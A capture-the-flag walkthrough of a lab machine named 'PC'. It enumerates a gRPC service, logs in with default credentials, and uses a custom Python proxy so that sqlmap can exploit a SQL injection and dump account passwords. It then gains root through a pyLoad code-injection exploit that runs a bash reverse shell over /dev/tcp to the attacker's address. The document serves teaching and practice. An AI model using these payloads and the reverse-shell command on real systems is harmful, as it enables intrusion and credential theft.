The PC machine mandated us to perform a port enumeration on the target system to identify an open port for gRPC. Subsequently, we exploited this gRPC port, utilizing weak credentials to gain access as the ‘admin’ user. We then proceeded to enumerate the available methods within the service.
Continuing our enumeration efforts, we uncovered a SQL injection vulnerability while inspecting the various services. Exploiting this vulnerability allowed us to acquire credentials for the ‘sau’ user, which we used to establish a connection to the SSH service and obtain a shell as ‘sau’ on the target system.
Further examination of the target system’s running services revealed an internal service operating on port 8000. After forwarding this port to our machine, we discovered it to be a pyLoad service. We also identified a version vulnerability, specifically a Code Injection vulnerability, which facilitated our acquisition of a root-level shell on the machine.
Recon
nmap (TCP all ports)
nmap
finds two open TCP ports:
$ nmap -Pn -p- 10.129.41.175
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-22 10:57 WEST
Nmap scan report for 10.129.41.175
Host is up (0.050s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 109.46 seconds
$
nmap (found TCP ports exploration)
$ nmap -sV -sC -Pn 10.129.41.175 -p 22,50051
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-22 11:01 WEST
Nmap scan report for 10.129.41.175
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.71 seconds
$
gRPC - TCP 50051
Enumeration
By interacting with the unknwon
service at the port 50051
we can see the following:
$ nc -v 10.129.41.175 50051
Connection to 10.129.41.175 50051 port [tcp/*] succeeded!
?��?�� ?
$
This tells us that the communication is either mashelled
or encrypted
. By searching online we can see that there are some references to gRPC:
gRPC methods
Let’s try to use a tool to interact with it. One of the tools I ended up using was the tool grpcurl. With it we can try to interact with the service.
To request the running services, we can invoke the list
command as follows:
$ ./grpcurl -plaintext 10.129.41.175:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
$
With this we can see that it is running the SimpleApp
service. We can also try to list the possible methods to invoke with the list
command followed by the service as follows:
./grpcurl -plaintext 10.129.41.175:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
$
This tells us that we can invoke the getInfo
, RegisterUser
and the LoginUser
within the service.
By invoking the getInfo
method we are presented with the following response:
$ ./grpcurl -plaintext 10.129.41.175:50051 SimpleApp.getInfo
{
"message": "Authorization Error.Missing 'token' header"
}
$
As we can see we are required to have a token
to be able to interact with it.
Shell as sau
We saw previously that there was a RegisterUser
method so let’s try to register an account with it:
$ ./grpcurl -plaintext 10.129.41.175:50051 SimpleApp.RegisterUser
{
"message": "username or password must be greater than 4"
}
$ ./grpcurl -plaintext -d '{"username":"admin", "password":"admin"}' 10.129.41.175:50051 SimpleApp.RegisterUser
{
"message": "User Already Exists!!"
}
$
By chance we got to know that the admin
user is already registered (I like to do this because that way we can kill to birds with one stone).
Credentials found
admin:admin
Let’s then try to login with it paired with weak credentials:
$ ./grpcurl -plaintext -v -d '{"username":"admin", "password":"admin"}' 10.129.41.175:50051 SimpleApp.LoginUser
Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Response contents:
{
"message": "Your id is 536."
}
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4'
Sent 1 request and received 1 response
$
We can with this confirm that the admin
user uses weak credentials.
SQLi
Now that we have a token
, let’s try to invoke the previously used getInfo
method:
$ ./grpcurl -plaintext -v -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4' 10.129.41.175:50051 SimpleApp.getInfo
Resolved method descriptor:
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
Request metadata to send:
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4
Response headers received:
(empty)
Response trailers received:
content-type: application/grpc
Sent 0 requests and received 0 responses
ERROR:
Code: Unknown
Message: Unexpected <class 'TypeError'>: bad argument type for built-in operation
$
Previously there was a mention to an id
, let’s try to pass it as a value and set it to true
:
$ ./grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NjMwNDB9.JoJfh9Z-HJZ4XkZWdTpX2P9azaTua2f29NnIV5RlOh4' -d '{"id": "true"}' 10.129.41.175:50051 SimpleApp.getInfo
{
"message": "The admin is working hard to fix the issues."
}
It worked, although rather odd. We can also try for a SQL injection vulnerability:
$ ./grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3NzMwOTF9.q7iEpwKSr7J05Bk3Snk1o2vpI0leBxAG3ft5wMRJBoY' -d '{"id": "false or 2 LIKE 2"}' 10.129.41.175:50051 SimpleApp.getInfo
{
"message": "Will update soon."
}
$
As we can see it seems to be vulnerable to SQLi.
Automated SQLi
To make the exploitation less tedious let’s script a small web proxy to enable us to use the sqlmap tool against it.
The code used can be seen bellow:
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
import subprocess
import json
def send_grpc(payload):
clean_payload = '{"id":"%s"}' % unquote(payload).replace('"','\'')
cmd = [
"grpcurl",
"-plaintext",
"-H", "token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ3Nzk0NDZ9.vHyRAyoMLzKWO06YdxTvb2BkK5JBGJKlXrMsLyLhuOM",
"-d", clean_payload,
"10.129.41.175:50051",
"SimpleApp.getInfo"
]
result = subprocess.run(cmd, capture_output=True, text=True)
resp = result.stdout
# Process the response
# parsed_response = json.loads(response)
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_grpc(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
By running now the tool against our proxy we get the following:
$ sqlmap -u "http://localhost:8081/?id=1" --level=5 --risk=3 -T accounts --dump
___
__H__
___ ___[)]_____ ___ ___ {1.6.4#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:48:57 /2023-05-22/
[15:48:57] [INFO] resuming back-end DBMS 'sqlite'
[15:48:57] [INFO] testing connection to the target URL
[15:48:57] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.6')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-1278 OR 1985=1985
Type: time-based blind
Title: SQLite > 2.0 OR time-based blind (heavy query)
Payload: id=1 OR 3708=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: id=1 UNION ALL SELECT CHAR(113,106,107,120,113)||CHAR(120,75,83,79,79,104,101,97,85,100,117,84,81,71,80,85,71,78,71,108,122,122,89,111,79,120,77,103,76,107,75,118,82,80,80,121,100,109,72,80)||CHAR(113,98,118,106,113)-- rEFI
---
[15:48:57] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:48:57] [INFO] fetching columns for table 'accounts'
[15:48:57] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
+------------------------+----------+
[15:48:58] [INFO] table 'SQLite_masterdb.accounts' dumped to CSV file '/home/pengrey/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/accounts.csv'
[15:48:58] [INFO] fetched data logged to text files under '/home/pengrey/.local/share/sqlmap/output/localhost'
[15:48:58] [WARNING] your sqlmap version is outdated
[*] ending @ 15:48:58 /2023-05-22/
$
Credentials found
sau:HereIsYourPassWord1431
By using them to ssh onto the machine we get a shell as the sau
user:
$ ssh sau@10.129.41.175
sau@10.129.41.175's password:
Last login: Mon May 15 09:00:44 2023 from 10.10.14.19
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
sau@pc:~$
Shell as root
Network Services
Now that we have a shell as an user inside the machine we can try to probe the running services inside of it, that are using ports as follows:
sau@pc:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::50051 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
sau@pc:~$
We can see an interesting service being run on port 8000
, let’s try to check if it’s an HTTP service:
sau@pc:~$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.
sau@pc:~$
With this we can confirm that it is indeed a web service. To better interact with it we can forward the port to our host with ssh
as follows:
$ ssh -D 1080 -C -N sau@10.129.41.175
Now if we go to the address on our machine we are met with the following:
Code Injection Vulnerability
To get the version of it we can run the following on the target machine:
sau@pc:/opt/app$ pip list | grep "pyload"
pyload-ng 0.5.0b3.dev30
By searching online for possible vulnerabilities related to this version we can see the following report where it mentions a Code Injection vulnerability in version next to the one present on the target. While searching for this vulnerability we can also encounter the following POC.
To try to exploit this we can use the POC with proxychains, enabling us to run it from our machine onto the target. The payload in this case will be a reverse shell to our machine as follows:
proxychains curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "jk=pyimport%20os;os.system(\"bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E15%2E92%2F9001%200%3E%261\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa" "http://localhost:8000/flash/addcrypted2"
What remains now is to listen on our machine to catch the shell as root:
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.41.175 40012
bash: cannot set terminal process group (27250): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@pc:/#